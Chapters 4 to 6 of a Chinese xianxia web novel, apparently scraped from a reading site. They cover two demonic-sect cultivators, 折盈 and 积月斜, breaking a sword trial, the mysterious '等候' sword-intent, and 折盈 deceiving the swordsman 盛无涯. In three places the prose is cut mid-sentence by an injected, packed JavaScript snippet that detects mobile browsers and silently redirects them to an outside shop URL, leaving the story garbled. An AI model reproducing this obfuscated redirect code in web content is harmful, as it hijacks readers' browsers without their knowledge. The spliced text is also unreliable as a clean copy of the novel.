这柄旧剑仿佛已与他血脉相连,剑锋所指,他的身体便不由自主地随之而动,说到底还是自己修行不够,又一时疏忽,竟被这剑阵趁虚而入,才导致如今的局面。 “若我彻底被控制,或是这些幻剑也………” “少乌鸦嘴了!”折盈扬声打断,手中骨鞭已如灵蛇般缠上积月斜执剑的右手,“我来想办法!” 鞭身紧紧缠绕剑柄,加之积月斜勉力压制剑意,二人总算争得片刻喘息,但剑身剧烈震颤,积月斜不由自主地要挣脱束缚,折盈见状,手腕一拧,将鞭子拉紧,积月斜被这股力道带得向前踉跄,二人手臂相抵,目光的距离也只有咫尺之遥。 折盈看他右手被鞭子再度咬出血来,是触目惊心的红,将积月斜的衣裳染成黑紫,骨刺毒牙几乎要撕咬下积月斜的血肉,折盈眉心一蹙。 积月斜见他面色空白,心知他年岁尚轻,心性未稳,便轻轻开口唤道:“折盈。” 这一声果然奏效,折盈这才回神,“这可不怪我,我还想将你绑起来,现在看起来好像不行,我担心你会流血而死,那岂不是算死在我手上!不行不行!” 积月斜好似不知道疼似的,竟一笑,“你放心,不给你找晦气。将我绑起来吧。” 折盈瞪他一眼。 积月斜手中长剑震颤愈烈,四周静止的幻剑随之嗡鸣,幽蓝剑芒流转,蓄势待发。 折盈暗道不好,白玉似的面颊上却笑着,笑容里竟有几分像积月斜,“晚了,早知道真该给你绑了。” 两人一起长大,积月斜年长,在鸾火教中更早独当一面,行事风格毒辣狠厉,总是言笑晏晏的模样,为凤熠办事向来果断,出手即绝杀。 鸾火教恶名远扬,除了凤熠为人张狂外,积月斜也功不可没,而自幼便在二人身边长大的折盈,受他们影响颇深,折盈跟着积月斜修习,行为举止皆有积月斜的影子,说起来积月斜也算是折盈半个师父,但折盈从未这么叫过,张口闭口便是直呼其名。 积月斜也不在意,他甚至极少干涉折盈的事,唯一一次出格还是因为过问了折盈和凤熠的事,二人争执不休,闹得极不愉快,关系急转直下,无形的隔阂横在他们之间。 “折盈!”积月斜的手掌都被旧剑磨出了血,他厉声道,“快躲开!” 折盈咬唇收鞭,来不及撤身,整个人后仰欲倒,足尖在地面划出长痕,后背近乎贴在地上,长发早已散开,青丝如瀑,与他一身红衣缠在一起,衣袂翻飞,宛若红蝶。 漫天幻剑如同骤雨洒落,折盈前脚刚躲,后脚便被接连不断的飞剑逼得狼狈后退,积月斜一边攻击,挽剑如花,一边开口指点折盈要怎么回防。 “左上!” “小心身后!” 折盈气急:“你闭嘴吧!” 折盈被逼到绝境,决定放手一搏,他将全部灵力灌入骨鞭,大喝一声,一时间灵气翻涌,将他满头乌发吹起,颊边有血珠擦过,折盈目不能视,只听得噼啪碎响,他的骨鞭被自己身灵力催发到极致,竟直接散架成片片白骨击向幻剑,如同咬住猎物的毒蛇。 幻剑一碎,骤然坠地化作了雾气,折盈睁开眼,却见积月斜的剑尖已逼至眉心! 积月斜急召双月镰护于折盈身前,折盈也在疾退,但积月斜手中的剑有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16834549|191219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明心一剑的加持,气势如虹,剑刃和镰刃相击,火花迸溅! 折盈灵气亏竭,已经没有还手之力,面色惨白,一双浓睫凤眼却是红的,薄红的唇细细地抖着,他的唇原本没这么嫣红,颤动下又抖落唇珠上的一滴血来,是血的颜色。 积月斜欲转腕收势,却动弹不得,他眸光一凌,见折盈眼中惶然,情急之下咬破了舌尖,嘴里蔓延出浓浓血腥,瞬息之间已做决断。 双月镰受他驱使,当即环在积月斜右手手臂,是一个绞杀的动作。 折盈和他对视一眼,立刻明白,积月斜是打算自断一臂! 但折盈说不出阻止的话。 他抬手挡住了脸。 但预想中的温热并未溅在折盈身上,折盈怯怯地睁开眼,只见眼前流光溢彩,一道浩然剑意将折盈环绕,犹如一道坚不可摧的屏障。 积月斜也愕然抬眼,手中剑的剑尖距离折盈仅有一寸,双月镰也已经割破了积月斜的衣裳,手臂鲜血淋漓,两道伤口极深,隐约可见白骨! 积月斜手中被桎梏的感觉猛然一松,旧剑寸寸碎裂,化作飞灰。 而挡在折盈面前的,是另一把通体散发着靛蓝光晕的长剑。 不,更似一道剑影。 折盈讷讷地仰首,下意识伸出手:“这是……” 积月斜攥住他的手,心有余悸道:“别碰。” 折盈也吓坏了,特地避着那虚影长剑走,却不想那长剑却如影随形,他僵立原地,低声问:“这是怎么回事?” “如果我猜的没错的话,这应该前人在万剑归宗留下的剑意所化。”积月斜无暇顾及自己的伤,注意到剑阵已破,才将目光再次转向那柄长剑,用指尖捏了一缕剑气感受,“奇怪,没有留下姓名……为何要帮我们?” “我怎么知道。”折盈劫后重生,面上渐复血色,眼中流转柔光,看向积月斜惨不忍睹的右手臂,“你刚刚……是要断臂救我……” 积月斜却不回应,仍在看那长剑,造型古朴,并不花里胡哨,唯有剑柄处有点点火烧痕迹。 发现隔着面具看不到积月斜的表情后,他凑近了一些,神情中带了一点孩童般的狡黠,像是发现了什么秘辛。 上次吵过架后,折盈气上头,什么狠话都说了,向来伶牙俐齿的积月斜最后只留下一句:“好,好……以后你的事,再与我无关。” 和凤熠之间的事已经够让折盈苦恼了,他实在没有心力再去向积月斜解释些什么,更何况,他本就是莫须有的事,积月斜不分青红皂白就质问他,明明是积月斜的错,他还没跟积月斜计较呢,凭什么要他先低头? 就算他和凤熠之间真的有事瞒着积月斜,他不想说,那谁都不能逼他说,思来想去,都是积月斜的错。 可他左等右等,也没有像以前那样,等到重修于好的机会,他几乎以为积月斜真要与他恩断义绝。 可现在看来,又好像不是那样。 折盈厘不清原因,但他只知道积月斜还是在意他的生死,甚至不惜自断一臂来救他,他和积月斜所有的矛盾似乎都在一瞬间消失了。 绝境之下的情感似乎更加纯粹,折盈丝毫不质疑真假,看积月斜都顺眼不少,暗自原谅了积月斜之前做错的事。 这发现久违地让折盈感到被珍重的感觉,因凤熠的转变和索取而变得乱糟糟的心情似乎被修补,折盈心口鼓胀,他并不讨厌这种感觉,来自他人的、有分量的情感,总能给他带来一种纯粹的满足。 折盈不知该如何回应,也无意去学,他只享受旁人的在乎和情感,并为此感到一种纯净的、近乎原始的快乐。 一开始在凤熠身边,就算他天资愚钝,也能得到凤熠的偏爱,凤熠的纵容,折盈接受得太轻而易举,让他误以为拥有的一切都是理所当然,可他的心已经习惯了改不了了,若能这般过一辈子倒也无妨。 积月斜这才看向他,似笑非笑道:“你不是说,你要是有事,教主饶不了我么?” 折盈也想起自己说的话,想了想,确实如此,心中的充盈感并未消减,反而因对方记得自己的话而更踏实几分,他缓颊一笑:“你知道就好。” 积月斜但笑不语,像是将他看透。 忽然间,那靛蓝辉光的剑影涌出更多剑意,源源不断地汇入积月斜的指尖,只一瞬,但在积月斜眼中仿若过了沧海桑田。 许久,他才带着几分疑惑开口:“这柄剑的剑意,竟然名为‘等候’……” 4. 执念 这是…… 盛无涯感到试炼剑阵已被强行破开,而那一闪而过的熟悉剑意,更让他心中的猜测笃定了几分,心道必须去看看这试炼之人是谁。 他原本在静候明心一剑完结束最终试炼,可许久过去,万剑归宗内一片沉寂,再无半分证道时应有的天地共鸣出现,这让盛无涯更加惊讶,难道那人已然成功了? 不对,若是证道成功,明心一剑必然显形,届时霞光环绕,剑者也会在碎片上留下名讳,使其剑意永驻于此。 可自剑阵被破以后,盛无涯没有再感到任何的剑意涌动。 “若真有这等天才,我岂会毫无耳闻?”盛无涯已经打算一探究竟,无涯剑镀着淡淡辉光,沉稳地悬在盛无涯身后,“更何况,方才那道剑意……为何竟带着神霄门气息?” 恰在此时,陈三两赶到,“无涯剑,方才发生何事?” 盛无涯并未隐瞒,将所见所感尽数告知,随即沉吟道:“依我推断,闯阵之人,恐怕是我神霄门同门,只是……我竟不知门中何时出了这样一位人物。” 陈三两闻言,眼中顿时闪过兴味:“哦?连你也不知?莫非是你云游在外太久,连自家后辈的深浅都摸不清了?” “人外有人,天外有天。”盛无涯和煦笑道,“若真是同门,我也想见见。” 陈三两一摸下巴,“此人特地选在和你同一天证道,岂不是故意挑衅,怎么样,他成功了吗?” 周遭雾气更浓,唯独两位剑修身旁清清静静,不受侵扰。 “许久没有听到动静了。” 陈三两也看出这并非证道成功的表现,不由得好奇:“那……” 盛无涯心绪难平,终是开口道:“我有些担心,打算前去一探。” “我同你一起。” 正说着,无涯剑却突然发出阵阵剑鸣,盛无涯一顿,感到明心一剑对他的试炼将要开始,陈三两意会,拍拍他的肩膀,“你且放心去吧,外面有我。” “陈兄,多谢!”无涯剑回到盛无涯手中,他飞身遁入雾中,高高束起的马尾留下一抹残影。 陈三两转身而去,身后跟上了几位修士,都是听闻动静赶来,陈三两将情况一说,几人约定结伴去查探情况,抬头却见万剑归宗再度散发奇异光彩,有人道:“这次应该是无涯剑吧?” “错不了。” “盛无涯会唤出明心一剑的碎片吗?”折盈收回目光,他不懂剑意,积月斜也无暇回答他的问题。 积月斜正静静坐着,双唇紧抿,任由灵气游走全身,右臂伤口被灵力愈合,积月斜面上终于有些血色。 折盈伤势不重,只歇了一会,在积月斜打坐的时候将长发梳开,编成一条乌蓬蓬的辫子垂在身前,脸颊也擦得干干净净,就是可惜这身衣裳是毁了。 还有自己的武器,也折损在这里,真是得不偿失,不知要如何跟教主交代。 折盈叹口气,有几分遗憾。 加上积月斜伤重,折盈已然对这一次的任务不抱希望,即便盛无涯成功证道,以他们眼下这般状态,夺取明心一剑的碎片也是机会渺茫。 “喂。”折盈一连喊了积月斜好几声。 待灵力游走完一个周天,积月斜这才睁开眼,也许是在这布满雾气的万剑归宗中待了太久,折盈一张瓷白的面孔,仿佛也笼罩着一层淡淡的雾气。 初看时,积月斜竟错以为有柔纱遮住了他的脸,朦胧而遥远,他险些将手伸过去要把轻纱扯下,但积月斜又定定看了两眼,折盈艳绝的脸才在他的视线里缓缓清晰。 在鸾火教中,七成人觉得折盈德不配位,另三成不喜折盈嚣张跋扈,但没人会觉得折盈不美。 折盈少年模样,绿鬓朱颜,眉眼不画而翠,唇若鲜血红梅,神色却并不柔顺,他像是一匹流光织成的华美绸缎,手掌抚上,感受到的并不是柔软,反而会被锦绣花色里的尖刺扎到流血。 犹是如此,仍会痴迷于那世间罕见的颜色而舍不得放手。 他的尖刺好似与生俱来,并非是为了对抗什么,否则也不会心智始终幼稚,分明刚刚才历经生死,现在还有闲心打扮自己。 折盈对于他的注视并不敏感,只道:“你休息好了,我们回去吧。” 积月斜道:“回去?”他再一次觉得折盈天真,“没有拿到明心一剑的碎片,如何回去复命?” 这些折盈自然考虑到了,不过他不会告诉积月斜要如何解决,只含糊道:“这你不必担心,我会和教主解释,这次任务失败情有可原,想必教主定然不会怪罪我们……” “是不会怪罪我们,还是不会怪罪你?” 积月斜一语道破。 折盈道:“你是担心这个?”他面上表现显然一愣,闻言又像是想通了似的,对积月斜笑道,“我会帮你向教主求情……” 他话虽如此,脸上却寻不见半分恃宠而骄的狂妄,反倒流露出一种下了重大决心的神色,仿佛在取舍和抉择中,他将付出某种代价来和凤熠做交换。 那转瞬即逝的犹豫被积月斜敏锐地捕捉,还未来得及厘清缘由,积月斜便看着折盈眸光中又浮现些许得意之色。 积月斜冷冷回道:“不必。” 折盈脸上笑容凝固,“什么?” 积月斜道:“我不需要你为我做什么,这次任务本来就是我的事,和你没有任何关系,无论事成与否,我一个人担着。” 折盈无法理解,追问道:“你伤成这样,还要怎么去跟人抢明心一剑?我都说了,有我在,教主不会为难你。”他急于证明自己似的,“你是不是不相信我可以做到?” 不知哪句话惹得积月斜眉头一皱,但折盈毫无察觉,并非因为那张面具遮掩了积月斜的神情。 折盈和他面对面站着,即便看不到表情,可两人相识多年,本该对彼此的脾气秉性异常熟稔,哪怕不必去看对方的神情,只凭语气和感觉,也能察觉出一丝异样来。 但折盈就像是缺了那根弦,他仍在纠结于是积月斜不信任自己。 积月斜闭了闭眼。 他甚至都比折盈自己清楚,折盈这哪里是迟钝,分明是折盈从未真正将注意力放在他身上。 折盈在意的只有当下,也只有自身,他不在意积月斜为何如此抉择,只在意对方为何拒绝自己。 “我自入鸾火教以来,多少次头破血流都挺过来了,还缺这一回吗?你可以不在乎这一次的任务,而我必须在意,因为我跟凤熠之间早有约定,我帮他夺取灵宝,作为交换,他助我杀光徵武宗的人!” 积月斜在转过脸时,已然露出一如往日的薄笑,碎冰似的贴在面上,每吐一字,都抖落凛冽的冰屑,折盈被这字句间的寒意逼得后退一步。 “你跟我,一样么?” 短短六字收尾,折盈睫羽急颤,争辩道,“你头破血流,难道我不是一样摸爬滚打……” 积月斜轻咳了一声,“是么,那你又交换了什么呢?” 他向前一步,逼近折盈,再次提起曾经让他和折盈争论不休的话题,“你跟凤熠做了什么交易,你瞒了我这样久,还不肯说么?” “我……” 折盈心中情绪激荡,眼眸转动,又强自定住,瞪向积月斜,“你想多了,我没有!” 积月斜笑道:“折盈,你也算是我教养长大的,我还不了解你么?” “你少给我拿乔!” 话说到这里,未有坦诚,倒是让折盈又怒又气,索性道:“我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16834550|191219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不管你了,请便吧!这明心一剑能抢便抢,抢不到也和我无关,还有……” 折盈语气一顿,“这件事你有没有私心,你自己心中清楚,神霄门和徵武宗在大道神武同仇敌忾,你想给徵武宗找不痛快,却也不想想,你如今身负重伤,是不是盛无涯的对手?” 他又重重掷下一句:“你,请便!” “我不会给你收尸的!” 积月斜没有反驳,只在折盈转身时道:“出了万剑归宗之外往东,有接应的人。” 折盈冷哼一声,刚走出两步,却见那柄散发着靛蓝光晕的剑又出现在折盈身后,明明是一把不凡之剑,却如魂魅相随,折盈吓了一跳,呵斥道:“别跟着我!” 那长剑明明只是一缕剑意,却好像有了灵性,果然不再跟随。 积月斜眸光一凝,方才就是这柄剑突然出现,挡在折盈面前破了剑阵,难道不是巧合? 这缕剑意,名为等候,等候的又是谁? 折盈被积月斜一把拉住手腕,还未反应过来,又被拽回原处,他将积月斜的手甩开,“放开!现在想要跟我说好话,晚了!” 没料到积月斜道:“万剑归宗内得到明心一剑认可的剑,数量极少,最出名的那几位,我也略有耳闻,第一位荣登大道神武的剑仙防风修留下的剑意名为‘守心’、闲刀客的刀剑留下的剑意为‘本真’,还有三战魔族的剑修顾初,剑意名为‘无畏’,可这名为‘等候’的剑意,却是无主之剑。” 积月斜说的这些人,折盈都不知道,便将目光看向悬停在半空的剑影,“无主之剑?” “这把剑的主人曾通过了明心一剑的试炼,可他却没有留下姓名,只有剑意被明心一剑保存,名为‘等候’”积月斜道,“既为等候之剑,想必也代表了剑者的某种执念,它等的人,会是谁呢?” 折盈斜睨他一眼:“你不会是想说,它等的人是我吧?” 积月斜神色中有几分认真,不似在开玩笑,“虽说我不知道它为何会突然出现保护你,但也许你和它真的有缘……” 折盈已然绕着那剑走了两圈,仍看不出什么特殊,折盈伸出手去,那剑意也朝他指尖涌动,可折盈什么都读不出来,只是指尖微凉。 “那又如何,它能给我明心一剑的碎片吗?” 话音落地,那长剑剑身辉光一闪,光芒缓缓黯淡之际,从剑中分出一块纯白的碎片如羽毛般落在折盈面前。 “这……”积月斜面上是掩不住的诧异。 折盈见此,也是一怔,脸上旋即露出惊喜神色,“真给我了?” 他伸出手,那碎片便自然地飘在他的掌心,真如同应了积月斜的那句话。 名为等候的剑,一直在等着某一人。 折盈收拢手掌,只觉掌心灼热,嘶了一声,但很快温度褪去,他手掌果然通红一片,但折盈此时已顾不得,心中只有柳暗花明的兴奋。 他将碎片一拿,故意在积月斜面前晃来晃去,眉飞色舞道:“某人费尽心机也拿不到的明心一剑碎片,我还以为有多难呢,这不是手到擒来?轻轻松松?” 积月斜站着未动,只目光跟着折盈来回,却不是在看折盈手中的东西,淡淡道:“它跟你有缘。” 折盈一改方才说辞,道:“它不是什么等候之剑么,等的就是我咯。” 印证了心中猜想,也拿到了明心一剑的剑身碎片,此次任务完满完成,可积月斜脸上却仍然不见轻松,他再度打量这柄剑意,依旧一无所获。 这柄剑是谁所留下,又为什么会和折盈扯上关系? 积月斜倒真希望是巧合。 正想着,积月斜感到灵力波动,神色倏然凛冽,侧身上前一步,压低声音说:“有人来了。” 5. 三寸之遥 折盈当即会意,迅速将明心一剑的碎片纳入袖中乾坤袋,凝神戒备。 可惜他的兵器已毁,此刻赤手空拳,一身红衣破碎,衬得脸庞愈发雪白,眉眼间的艳色在肃穆中更显夺目。 见此,积月斜向前几步,彻底将他护在身后。 那股迫近的灵力越来越近,积月斜周身气势陡然锐利,斩月双镰挡在身前,刃光流转如冷月,寒芒慑人。 “为首的那个,我跟他交过手。”积月斜心中纳罕,上次交手,对方还是小乘境,现在这股气息,却已经是玄起境了。 察觉对方迅速逼近,且对万剑归宗路径极为熟稔,身后还跟了不止一人,积月斜瞬息间已做决断。 他手臂向后一扬,将折盈推开:“快走!” 折盈也感到能让积月斜如此戒备的人,必定非同小可,可他知道积月斜身上有伤,一时之间陷入犹豫。 积月斜回头看向他:“你现在留在这里,只会拖我后腿。” 折盈不再多言,咬牙转身离去,积月斜也纵身迎敌。 另一侧,陈三两于雾中疾行,忽觉前方雾气凝滞,似有暗流涌动,他一扬手,叫停众人,“且慢。” 话音方落,雾气翻涌,一道快得只剩残影的漆黑弯镰自雾中激射而出,直取众人! 陈三两剑匣应声而开,双剑飞出格挡,却仍慢了半瞬,仅与镰刃堪堪擦过,他身后一名修士甚至来不及出声,便已砰然倒地,脖子上只留一道极细血痕。 那弯镰一击即退,隐入雾中,瞬息调转方向再度袭来! 此番被陈三两长剑“铮”地一声精准弹开,最终稳落回积月斜手中。 积月斜自雾中缓步走出。 一道弯镰在他身前飞旋,划出的墨色弧光如同展开的巨大伞面,另一镰则缩小数倍,静静悬浮于他掌心,像是听话的灵宠,刃上还残留着点点猩红。 “积月斜,你怎么会在这里?”陈三两一眼认出眼前之人正是鸾火教的积月斜,当即将众人护到身后。 回应他的是积月斜的冷笑,以及两道快到看不见路径的黑色锋影。 积月斜的两把镰刃在他手掌中停留不过一瞬,便被他转腕激射而出,双镰如影,剑阵如网,镰刃与长剑接连碰撞出刺耳锐鸣,周遭雾霭翻涌,两人已然交锋数百招。 修为略低的众人被凌厉气劲逼得连连后退,再一看,眼前满是浓雾,哪儿还有两人的影子。 几名初入万剑归宗的年轻修士转眼迷失方向,见四周雾气茫茫,人影无踪,只得停下脚步观望,恰在此时,不远处的白雾中隐约掠过一道绯红身影。 两个修士对视一眼,误以为对方浑身浴血,急匆匆过去,“这位道友,你没事……呃!” 原本倒下的红衣却猛地用手掐住了他们的脖子,抬头间,露出一张妖冶鬼魅的脸,声音轻柔:“多谢。” 只听“咔哒”两声扭断脖子的脆响,只有折盈一人施施然起身,漫不经心捻了捻指尖。 他本想离开,但又思及什么似的,折返回来将那两人身上的宗门服饰剥下来。 他原本的红衣设计精巧,腰带与衣身浑然一体,轻轻解带,衣袍便如花瓣垂落,衣摆处层层交叠的金纱流光溢彩,活像是锦鲤尾巴。 折盈多看了两眼,摇了摇头,据说这金纱还是灵蚕所产的金丝线所织,可惜了。 雾气缭绕间,他的身形展露无遗,双腿笔直修长,长靴紧裹至大腿,以皮质束带固定,右侧腿环处坠着一串珠链,末端挂着两片红色羽毛。 折盈刚将那修士的外衣套上,腿侧的绯羽也被遮住,却猛然察觉到声音,他当即在掌心凝出灵力,“谁!” 只见积月斜踉跄地从雾中走出,折盈松了口气,没来得及系上腰带,匆匆到他面前扶住他,看积月斜并未有明显外伤,往后看了一眼,没人追上来。 积月斜像是知道他要问什么,道:“我将他困在雾里了,没有一时半刻,他出不来。” “那你……”折盈看他的月镰也不见了,应当是一并被他用来围困对方了。 积月斜正要站起,好教他安心,下一刻却猛地呛出一口鲜血,折盈冷冷哼笑:“不逞强是不是就要了你的命了?” 他将积月斜衣襟撤开,积月斜怔愣着,一时忘了阻止,本就苍白的脸色让那抹绯红更加显眼,“你……” “快将衣服换上,”折盈将衣物塞进他手中,“我已让人到万剑归宗外接应,反正明心一剑的碎片既已到手,没必要再和他们缠斗,得不偿失。” 积月斜按住他的手,喘息道:“我自己来。” 折盈看他身上的剑伤,大大小小,顿时明了,“真不知道说你什么好,这种关头,你还要试探对方功力深浅,真不要命了?” “死不了。”积月斜已经穿好了衣裳。 二人相互搀扶,正欲撤离万剑归宗,雾中却忽闻破空锐响,积月斜的斩月双镰猛地从雾中飞出,看着不似积月斜主动唤回。 积月斜徒手接住镰刃,被那骇人气浪震得连退数步。 与此同时,明心一剑的试炼临近结束,积月斜心知盛无涯不时也会赶到,若是盛无涯成功证道,想必修为更是有所提升。据他所知,盛无涯已然是大乘之境,距离御空境,不过咫尺之遥。 而他一个玄起境,还受了伤,折盈更是手无寸铁,不是他们的对手。 他立刻作出决定,掐诀唤出隐匿法阵和数个传送阵,直通万剑归宗外,他将折盈推入阵中,“走!” “积月斜!” 折盈见他已是强弩之末,冲动之下反手拽住他手腕,两人位置一换,明心一剑的碎片也被折盈塞到他怀中,“你先撤!我去引开他们。” 积月斜怒吼:“你疯了!你……”话未说完,他便被阵法吞了进去。 折盈纵身掠出,身后陈三两的数柄飞剑如影随形。 千钧一发之际,那把等候之剑再度出手为折盈解围,靛蓝剑虹如九天垂瀑,一举将跟在折盈身后的长剑震荡开! 陈三两虽是散修,无门无派,但自身根骨绝佳,博采众长,也一路突破到了玄起境。他以前不是积月斜的对手,今日积月斜受伤,他本欲一雪前耻,不料对方只守不攻,分明在拖延时辰。 陈三两探出他有伤在身,更是决定要将积月斜这个邪修杀了以绝后患,没想到积月斜一贯狡诈,竟然佯装不敌,实则一直在用血作阵,意图将他围困。 可惜积月斜伤重力竭,阵法没能发挥最大效力,现在还是一昧逃窜,但陈三两没料到会有一道强悍剑意横插一脚,将他的剑阵破了个干干净净! 难道此处还有旁人,还是个剑道大能? 折盈有那把来历不明的等候之剑护着,但周遭的剑影越来越多,剑风凌厉,几乎要撕裂他的衣袍,折盈修为太低,被这两股灵气斗法弄得喘不上气,灵虚内的元神犹如被火烧,呼吸都仿佛变成了火焰。 等候之剑骤然绽放出灼目光华,宛若漆黑苍穹中升起的一轮明月,凛冽剑意如潮水般向四周迸发! 陈三两只来得及瞥见前方那道衣袂翩飞的身影,乌发雪肤在剑光中一闪而逝,陈三两还未看清对方面容,便被磅礴剑势逼得连退数步,浑身骨头接连断裂。 等候之剑在空中划出一道完美的弧光,所过之处,陈三两的飞剑竟如遇克星般纷纷震颤哀鸣,直直坠落,就连剑身上的灵光瞬间黯淡了三分。 剑光冲霄,云雾翻涌,折盈死里逃生,灵虚内的灼烧渐渐消退,他还不忘回望那漫天辉光,唇角微扬,下意识地轻掸衣角,流露出一丝得意。 “哼。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16834551|191219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 正当他心神稍懈之时,另一把长剑自他身后出其不意地掠过,完全是贴着折盈腰侧穿过,劲风扬起他的长发,几缕青丝应声而断,衣袍亦被划开长长一道口子,露出胸前和腰腹的白皙皮肤。 剑光乍现,森寒凛冽,一声低喝随之而来:“站住!” 折盈心下一沉,已经猜到对方的身份,想必对方就是神霄门盛无涯。 该死,真倒霉,这也能让他撞上? 脑中电光火石,他脑中转得飞快,面上却不露分毫,只在缓缓转身时估算着退路,但他清楚两人的修为境界之差,断无殊死一搏的可能。 无涯剑破雾而来,剑尖直抵折盈咽喉,不过三寸之遥。 折盈呼吸一窒,被迫仰起脸来。 盛无涯见此人形迹可疑,正欲追问,却没想到对方蓦然转身,一握如墨乌发间,竟是一张清艳出尘的面容,神情怯弱,被划破的衣裳中露出一片雪白,在朦胧雾气中显得楚楚可怜。 “你……”盛无涯一时分不清对方身份,疑心对方是女子,只令无涯剑上前。 折盈眸光一闪,心下已有对策,主动道:“无涯剑?!太好了……”他恍然不觉地往前一步,盛无涯的剑依旧没有退让,折盈这才停下脚步,“我……” 他的声音又低又轻,手中又无武器,盛无涯放下防备,竟真的将他当成了女子,脸上微热,略显窘迫道:“抱歉……在下绝非有意唐突姑娘。” 折盈心中冷笑,面上却作出一副受惊模样,低声道:“我并非女子,不必避让……” “抱歉……是我眼拙。”盛无涯更显窘迫,轻咳一声掩饰过去,目光却重新变得审视,缓步上前查看伤势,迟疑道,“你是玄音盟下碧波山弟子?” 折盈心道,还想诈我? 他确实很少和玄音盟打交道,但他也不是傻子,跟在积月斜身边耳濡目染,也分得清这身衣袍属于哪门哪派,可脸上却仍有惘然之色,摇摇头,“我是玄音盟沧琴阁弟子,隶属五音使清羽门下,师父是……” 他说得越来越慢,原本不敢看他的盛无涯正静静地看着他,似乎在等着他继续说下来,而盛无涯身旁的剑,看着并无什么威慑之势,但折盈心里清楚,盛无涯若是毫不怀疑,早就将无涯剑收起来了。 折盈垂下眼睫,苦笑道:“说来惭愧,我资质平庸,还未拜师。” 盛无涯也仿若只是等他说完,才道:“原是我看错了,只有你一个人在这里?” 折盈琢磨着措辞,心里谨慎,露出受伤的痛苦神色,“方才我和朋友失散,在雾中遇到了突袭,我好不容易才逃出来,但是其他人恐怕……” “我带你出去。”盛无涯略作迟疑,伸手握住他的手腕。 折盈心头一跳,本能地抗拒,只觉一股温厚有力的灵气涌入他的灵脉,游走四肢百骸,直探灵墟深处,他瞬间僵直了身体,一动也不敢动,唯恐被对方察觉出什么异样,随手便废了他的灵虚和元神。 片刻后,盛无涯撤回灵力,神色如常地温然一笑:“你伤的不重,只是灵力耗损过度,想必你已尽力了,不必过于自责。” 折盈没料到会听到这般宽慰,一时怔在原地。 他不知盛无涯查探自己的灵脉查到了什么,但看盛无涯神色,什么都没有流露出来,这份深不可测反叫他心中惴惴,焦躁与不安在眼底几经翻涌,险些压抑不住。 折盈猛然回神,对上盛无涯沉沉的目光,后背瞬间渗出一层冷汗。 刹那间,鱼死网破的念头闪过脑海,又被折盈压下去,盛无涯已臻至剑道巅峰,以自己这点微末修为与盛无涯硬拼,无异于蜉蝣撼树,不过是白白送死。 他必须冷静。 正当此时,等候之剑散发着淡淡光辉,悄然在他身侧凝聚成形。 6. 雀奴 不仅折盈愕然,连盛无涯眼中也掠过一丝难掩的诧色。 他伸出手,两者的剑意无声交汇,盛无涯终于明白那股熟悉的剑意源自何处,“原来如此,是‘等候’么?” 他像是面对一位暌违已久的故人,声音渐低,折盈只能听清半句,“竟一直等在这里……” 折盈暗忖,盛无涯竟认得此剑? 那也难怪,天下剑修就算认不得剑的主人,对名剑却有一股狗认骨头似的敏锐,除了这群嗜剑如命的人会整日琢磨什么名剑排行榜,折盈还真没见过其他修士会这么做。 多亏了这等候之剑及时现身解围,连明心一剑认可过的剑都对他没有敌意,折盈料定盛无涯不会再起疑心。 果然,盛无涯再次看向他的时候,目光里的审视已然消散,取而代之的是几分不易察觉的柔和。 他松开手,折盈垂眸看去,腕间肌肤光洁如初,被那样浩瀚的灵气冲刷过,皮肤上竟未留下半分痕迹,唯独灵脉里还淌着暖意。 折盈顺势问道:“这剑为何会突然出现?” “是我神霄门一位前辈所留下的剑意。” 这个回答对折盈来说毫无所获,不禁心中冷笑,哼,要么就什么都不说,要么就连名带姓,只说神霄门的前辈是什么意思? 折盈好奇却不能追问,只因他身份是玄音盟的低阶弟子,不好过问神霄门的事,既然是盛无涯的前辈,难道是已经荣登大道神武了? 大道神武乃天道的具象化身,执掌万物秩序,其下神霄、玄音、徵武三宗各承千年道统,绵延千载,其地位超然,被奉为修真正统。 而三宗之中的佼佼者,才有资格突破选拔,荣登大道神武,成为真正替天执道之人,这乃是万千修道者穷极一生追逐的终点。 若盛无涯口中的前辈是那等人物,不便透露姓名倒也合理。 盛无涯见这漂亮少年兀自出神,微微一笑,伸手在他眼前一晃:“还不知你叫什么?” “我,”折盈眨眨眼,随口胡诌,“我叫月盈……” 盛无涯道:“月盈月缺本自有时,性巧性拙岂由乎我……好名字。” 折盈点点头,心里却想,听不懂。 盛无涯看他表情,笑容渐深,忍不住又多问两句:“几岁了?” 折盈本坐在地上,想着盛无涯说完这些也该走了,没想到盛无涯饶有兴趣,一副追问到底的架势。 折盈疲于应付,心里烦得紧,面上却挤出一个乖巧的笑脸,明晃晃地敷衍:“记不大清了,自我入道,应当还不过百年吧。” 